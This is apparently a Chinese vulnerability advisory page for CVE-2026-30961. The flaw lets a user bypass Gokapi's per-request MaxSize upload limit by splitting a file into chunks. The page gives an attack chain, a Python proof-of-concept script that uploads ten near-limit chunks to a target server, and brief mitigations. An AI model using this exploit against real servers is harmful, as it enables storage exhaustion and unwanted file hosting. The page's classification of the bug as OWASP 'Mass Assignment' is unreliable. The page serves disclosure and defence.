IPBUF安全漏洞报告
English
CVE-2026-30961 CVSS 4.3 中危

CVE-2026-30961 Gokapi文件请求MaxSize限制绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-30961
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gokapi

相关标签

访问控制绕过文件上传绕过GokapiAPI安全MaxSize限制绕过分块上传漏洞OWASP API6

漏洞概述

Gokapi是一款自托管文件共享服务器,支持自动过期和加密功能。在2.2.4之前的版本中存在访问控制绕过漏洞,攻击者可以通过分块上传的方式绕过文件请求的MaxSize大小限制。该漏洞允许拥有公共文件请求链接的攻击者将超过限制的大文件分割成多个小于MaxSize的块进行顺序上传,成功绕过单次请求的文件大小限制。最终上传的文件大小可以达服务器全局MaxFileSizeMB配置的上限,而不受文件请求配置的MaxSize限制。这可能导致服务器存储资源被耗尽,或者被用于托管非法文件。

技术细节

漏洞存在于Gokapi的分块上传完成处理逻辑中。当用户发起文件请求时,服务器会为该请求设置一个MaxSize限制,用于控制该请求允许上传的最大文件大小。然而,在上传完成的验证环节,系统仅检查了每个分块的大小是否小于MaxSize,但未验证所有分块的累计大小是否超过该限制。攻击者利用这一缺陷,可以将一个大文件拆分成多个小于MaxSize的chunk,通过API依次上传这些chunk,最后请求合并完成。服务器会接受最终合并后的完整文件,只要其大小不超过全局MaxFileSizeMB设置。此漏洞属于OWASP API Security Top 10中的API6-2023:Mass Assignment类问题,即敏感对象属性被过度赋值。

攻击链分析

STEP 1
步骤1
攻击者获取公共文件请求链接(file request link),该链接配置有MaxSize限制
STEP 2
步骤2
攻击者将需要上传的大文件分割成多个chunk,每个chunk大小小于文件请求的MaxSize限制
STEP 3
步骤3
攻击者通过API依次上传各个chunk,服务器仅验证单个chunk大小是否合规
STEP 4
步骤4
所有chunk上传完成后,攻击者调用完成接口请求合并文件
STEP 5
步骤5
服务器在完成阶段未验证总文件大小与MaxSize限制,导致超过限制的文件成功上传
STEP 6
步骤6
攻击者获得超过MaxSize限制的文件访问权限,可能用于恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-30961 PoC - Gokapi MaxSize Bypass via Chunked Upload # This PoC demonstrates how to bypass file size limits using chunked uploads import requests import hashlib TARGET_URL = "http://target-gokapi-server.com" FILE_REQUEST_ID = "your-public-file-request-id" # Public file request link MAX_SIZE_LIMIT = 10485760 # 10MB per request limit def create_chunked_upload(): """Initialize chunked upload session""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/init" payload = { "fileRequestId": FILE_REQUEST_ID, "fileName": "large_file.zip", "totalSize": 104857600 # 100MB - exceeds MaxSize } response = requests.post(endpoint, json=payload) return response.json().get("uploadId") def upload_chunk(upload_id, chunk_data, chunk_index): """Upload individual chunk - each under MaxSize limit""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked" files = { "chunk": chunk_data } data = { "uploadId": upload_id, "chunkIndex": chunk_index } response = requests.post(endpoint, files=files, data=data) return response.status_code == 200 def complete_chunked_upload(upload_id): """Complete upload - total size not validated against MaxSize""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/complete" payload = { "uploadId": upload_id } response = requests.post(endpoint, json=payload) return response.json() def exploit(): """Main exploit function""" upload_id = create_chunked_upload() chunk_size = MAX_SIZE_LIMIT - 1 # Just under limit total_chunks = 10 # Total 100MB for i in range(total_chunks): chunk = b'\x00' * chunk_size # Fake chunk data upload_chunk(upload_id, chunk, i) result = complete_chunked_upload(upload_id) print(f"Upload completed: {result}") # File uploaded despite exceeding per-request MaxSize limit if __name__ == "__main__": exploit()

影响范围

Gokapi < 2.2.4

防御指南

临时缓解措施
如果无法立即升级,可通过限制服务器全局MaxFileSizeMB配置来降低风险,同时监控异常的大文件上传行为。建议在Web应用防火墙中配置规则,检测和阻止超过预期大小的分块上传请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表